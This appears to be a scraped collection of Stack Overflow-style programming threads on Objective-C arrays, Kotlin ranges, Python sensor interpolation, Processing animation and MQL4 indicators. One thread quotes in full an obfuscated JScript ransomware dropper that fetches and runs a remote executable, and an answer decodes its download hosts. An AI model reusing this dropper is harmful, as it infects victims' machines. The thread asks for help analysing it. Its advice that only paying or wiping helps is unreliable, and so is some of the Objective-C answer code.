About defining arrays later - objective-c

float bases[7];
if (level < 2) {
bases = {80, 70, 50, 20, 10, 2 , 1};
}else{
bases = {100, 100, 80, 50, 25, 6, 3};
}
This is not valid. But then, what is the right way to do it?

You could try just copying the data over, either element by element, or with:
float bases[7];
static float *bases1 = {80,70,50,20,10,2,1};
static float *bases2 = {100,100,80,50,25,6,3};
if (level < 2)
memcpy (bases, bases1, sizeof(bases));
else
memcpy (bases, bases2, sizeof(bases));

Related

Filter a range in kotlin

In kotlin I want filter a range of Int to make odd/even example. so I made a listOf range 1..50
val angka = listOf(1..50)
followed by applying filter for even and filterNot for odd
val genap = angka.filter { it % 2 == 0}
val ganjil = angka.filterNot { it % 2 == 0 }
then printing both the even/odd lists
println("Genap = $genap")
println("Ganjil = $ganjil")
I do not see any problems with code, but it does throws exception mentioned below
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public inline operator fun BigDecimal.mod(other: BigDecimal): BigDecimal defined in kotlin
This is creating a List<IntRange> with a single element:
val angka = listOf(1..50)
You should instead directly filter the range:
val angka = 1..50
The rest of the code is correct.
If you are a beginner with Kotlin, please either specify the type of values explicitly, or turn on the local variable type hits.
This way you would have noticed that the code is not perfect. Your list angka is not a list of type List<Int>, but a list of type List<IntRange>.
Meaning that you are not doing Int % 2 == 0, but in fact, you are doing IntRange % 2 == 0.
If you want to get a list from a range, you need to do (x..y).toList(). So your code will be:
val angka = (1..50).toList() //or since you are not using this list anywhere else, just leave it as `1..50` and the filter will work fine on the IntRange.
val genap = angka.filter { it % 2 == 0 }
val ganjil = angka.filterNot { it % 2 == 0 }
println("Genap = $genap")
println("Ganjil = $ganjil")
With output:
Genap = [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50]
Ganjil = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 43, 45, 47, 49]
Your declaration of all numbers is wrong... it is like this val angka: List<IntRange> = listOf(1..50). You created a list of ranges contaning one range.
This should work:
val angka = 1..50
val genap = angka.filter { it % 2 == 0}
val ganjil = angka.filterNot { it % 2 == 0 }
println("Genap = $genap")
println("Ganjil = $ganjil")

How to increase 1d-data resolution though interpolating in between measurements?

I'm developing a pythong script where I receive angular measurements from a motor which has a low resolution encoder attached to it. The data I get from the motor has a very low resolution (about 5 degrees division in between measurments). This is an example of the sensor output whilst it is rotating with a constant speed (in degrees):
sensor output = ([5, 5, 5, 5, 5, 10, 10, 10, 10 ,10, 15, 15, 20, 20, 20, 20, 25, 25, 30, 30, 30, 30, 30, 35, 35....])
As you can see, some of these measurements are repeating themselves.
From these measurements, I would like to interpolate in order to get the measurements in between the 1D data-points. For instance, if I at time k receive the angular measurement theta=5 and in the next instance at t=k+1 also receive a measurement of theta=5, I would like to compute an estimate that would be something like theta = 5+(1/5).
I have also been considering using some sort of predictive filtering, but I'm not sure which one to apply if that is even applicable in this case (e.g. Kalman filtering). The estimated output should be in a linear form since the motor is rotating with a constast angular velocity.
I have tried using numpy.linspace in order to acheive what I want, but cannot seem to get it to work the way I want:
# Interpolate for every 'theta_div' values in angle received through
# modbus
for k in range(np.size(rx)):
y = T.readSensorData() # take measurement (call read sensor function)
fp = np.linspace(y, y+1, num=theta_div)
for n in range(theta_div):
if k % 6 == 0:
if not y == fp[n]:
z = fp[n]
else:
z = y
print(z)
So for the sensor readings: ([5, 5, 5, 5, 5, 10, 10, 10, 10 ,10, 15, 15, 20, 20, 20, 20, 25, 25, 30, 30, 30, 30, 30, 35, 35....]) # each element at time=k0...kn
I would like the output to be something similar to:
theta = ([5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 17.5, 20...])
So in short, I need some sort of prediction and then update the value with the actual reading from the sensor, similar to the procedure in a Kalman filter.
why dont just make a linear fit?
import numpy as np
import matplotlib.pyplot as plt
messurements = np.array([5, 5, 5, 5, 5, 10, 10, 10, 10 ,10, 15, 15, 20, 20, 20, 20, 25, 25, 30, 30, 30, 30, 30, 35, 35])
time_array = np.arange(messurements.shape[0])
fitparms = np.polyfit(time_array,messurements,1)
def line(x,a,b):
return a*x +b
better_time_array = np.linspace(0,np.max(time_array))
plt.plot(time_array,messurements)
plt.plot(better_time_array,line(better_time_array,fitparms[0],fitparms[1]))

How to i make rectangle move across the screen processing js

I want to make the white rectangles move across the screen like traffic and stop when the light is red. I have started this on the move method, totally new to processing js.
Currently the cars are the correct distance apart but i am unsure how to move thtis loop and move across the screen until the traiff light is red.
let counter = 0;
let lightorder = 0;
//setup the enviroment i.e. roads, lines on roads and trees
void setup() {
size(1330, 720);
background(96, 153, 25);
//Roads
noStroke();
fill(100);
rect(0, 200 + 10, 1330, 300);
rect(520, 0, 300, 1500);
//Lines on road
fill(255);
rect(0, 340, 90, 30);
rect(200, 340, 90, 30);
rect(400, 340, 90, 30);
rect(860, 340, 90, 30);
rect(1060, 340, 90, 30);
rect(1260, 340, 90, 30);
rect(655, 75, 30, 90);
rect(655, 575, 30, 90);
for(int i=0; i < 10; i++){
move(i = i +20)
}
}
//work out light order and assign and fill shapes on traffic lights according
void draw() {
determineLightOrder();
trafficLight();
trafficLight2();
trafficLight3();
trafficLight4();
}
void move(int p){
rect(p, 230, 200, 70);
rect(p, 400, 200, 70);
}
//determine if traffic light is red, yellow or green and fill shape
accordingly
void trafficLight() {
let is_red_light = lightorder == 2;
let is_yellow_light = lightorder == 1;
let is_green_light = lightorder == 0;
stroke(250);
fill(0);
rect(10 + 550, 10 + 80, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 550, 30 + 80, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 550, 60 + 80, 20, 20);
}
// green ligh
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 550, 90 + 80, 20, 20);
}
}
void trafficLight2() {
//declare light color variables
let is_red_light = lightorder == 0;
let is_yellow_light = lightorder == 2;
let is_green_light = lightorder == 1;
stroke(250);
fill(0);
rect(10 + 850, 10 + 215, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 850, 30 + 215, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 850, 60 + 215, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 850, 90 + 215, 20, 20);
}
}
//same code as the trafficLight2 different position of lights
void trafficLight3() {
stroke(250);
fill(0);
rect(10 + 420, 10 + 380, 40, 100);
let is_red_light = lightorder == 0;
let is_yellow_light = lightorder == 2;
let is_green_light = lightorder == 1;
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 420, 30 + 380, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 420, 60 + 380, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 420, 90 + 380, 20, 20);
}
}
//same code as trafficLight1 different position of lights
void trafficLight4() {
let is_red_light = lightorder == 2;
let is_yellow_light = lightorder == 1;
let is_green_light = lightorder == 0;
stroke(250);
fill(0);
rect(10 + 730, 10 + 525, 40, 100);
if (is_red_light) {
fill(255, 0, 0);
}
else {
fill(100);
}
ellipse(30 + 730, 30 + 525, 20, 20);
if (is_yellow_light) {
fill(250, 250, 0);
ellipse(30 + 730, 60 + 525, 20, 20);
}
if (is_green_light) {
fill(0, 255, 0);
ellipse(30 + 730, 90 + 525, 20, 20);
}
}
//determine the light order
void determineLightOrder() {
counter++;
if (counter == 200) {
counter = 0;
lightorder = 0;
}
else if (counter == 50) {
lightorder = 1;
}
else if (counter == 70) {
lightorder = 2;
}
}
Stack Overflow isn't really designed for general "how do I do this" type questions. It's for specific "I tried X, expected Y, but got Z instead" type questions. But I'll try to help in a general sense:
I wrote this tutorial on animation in Processing that I highly recommend you read. But basically, you need to store the state of your program (for example, the position of the rectangles) in a variable (or multiple variables). Use those variables to draw your scene, and then change those variables over time to create an animation.
Break your problem down into smaller pieces and take those pieces on one at a time. Can you create a simple program that shows a single moving square? Then get that square to stop given a certain criteria. Then add a second square. Keep working your way forward in small steps like that, and if you get stuck on a specific step, post a MCVE along with a more specific question. Good luck.

new type of malware a.k.a ransomware

I'm not sure if it is allowed to ask this question here.
I just have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your file/s and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:
var _base64Idx = [
/*43 -43 = 0*/
/*'+', 1, 2, 3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
enc1 = _base64Idx[input.charCodeAt(i++) - 43];
enc2 = _base64Idx[input.charCodeAt(i++) - 43];
enc3 = _base64Idx[input.charCodeAt(i++) - 43];
enc4 = _base64Idx[input.charCodeAt(i++) - 43];
out[j++] = (enc1 << 2) | (enc2 >> 4);
if(enc3 !== 64) {
// decoded at least 2 bytes
out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
if(enc4 !== 64) {
// decoded 3 bytes
out[j++] = ((enc3 & 3) << 6) | enc4;
}
}
}
// make sure result is the exact decoded length
return output ?
(j - offset) :
out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
try {
var invocationIOk = foilgEV[masticatehJi];
endemicfVU.open(inspireRpB, invocationIOk, false);
endemicfVU.send();
if (endemicfVU.status == banterKA3) {
try {
evidentv5F.open();
evidentv5F.type = 1;
evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
if (evidentv5F.size > cedeWsU) {
masticatehJi = foilgEV.length;
evidentv5F.position = 0;
evidentv5F.saveToFile(weltPvA, 2);
roseatef1b = true;
}
} finally {
evidentv5F.close();
}
}
} catch (ignored) {}
}
if (roseatef1b) {
flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();
Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
It just downloads runs an actual executable script.
It tries to get it from http[colon]//helloyoungmanqq.com/26.exe first, then http[colon]//helloyoungmanff.com/26.exe if that fails. I assume it's the same file, just a backup download site.
All that encoding stuff is just to obfuscate the strings it uses to run the ActiveX stuff that does this (since otherwise it would quite quickly be easily recognized by software and humans alike as malicious).
This script is not your answer...it just leads to the next stuff to look into.
I would highly recommend being very careful with those files should you download them.
It's very dangerous to play with Ransomware source codes. You will surely end up losing your data if at all you try to recover from Ransomware. The only way to remove ransomware is either you pay the ransom amount or you just format the system completely without leaving any file in the system.
There are few tools available to remove ransomware but I am not sure about which version of Ransomware you are talking about in this post. There are many Ransomware families that exist and every Ransomware has its own source codes and files!

MQL4 Total Result from Multi-timeFrame Indicator

Good Evening all,
can anyone show me how to get total result from an MTF indicator, example if MACD :
M1 = Buy, M5 = Sell, M15= Sell, M30= Buy, H1 = Buy, H4 = Buy, D1 = Buy,
Total Result = 5 Buy & 2 Sell
How do I implement this into a MQL4 code? Thank you for all your answers.
Sample code to consider:
start() {
//--------------------------------------------
// Get the MACD values for all time-frames
//--------------------------------------------
double vaiMACD[7];
vaiMACD[0] = iMACD( Symbol(), PERIOD_M1, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[1] = iMACD( Symbol(), PERIOD_M5, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[2] = iMACD( Symbol(), PERIOD_M15, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[3] = iMACD( Symbol(), PERIOD_M30, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[4] = iMACD( Symbol(), PERIOD_H1, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[5] = iMACD( Symbol(), PERIOD_H4, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
vaiMACD[6] = iMACD( Symbol(), PERIOD_D1, 12, 26, 9, PRICE_CLOSE, MODE_SIGNAL, 0);
//--------------------------------------------
//--------------------------------------------
// CALC: Total Buys/Sells
//--------------------------------------------
int viMACDSignalBuyCount = 0;
int viMACDSignalSellCount = 0;
for( int viElement=0; viElement<ArrayRange(vaiMACD, 0); viElement++) {
//-----------------------------------------------------------
// Here, you need to define your own rules on what is considered as Buy/Sell signal.
// My example here is a simple: >0 is Buy. <0 is Sell.
//-----------------------------------------------------------
if( vaiMACD[viElement]>0 ) viMACDSignalBuyCount += 1;
if( vaiMACD[viElement]<0 ) viMACDSignalSellCount += 1;
}
//--------------------------------------------
//--------------------------------------------
// Display Outcome
//--------------------------------------------
Comment( "Total MACD Signals:"
+ " " + viMACDSignalBuyCount + " (Buy)"
+ ", " + viMACDSignalSellCount + " (Sell)"
);
}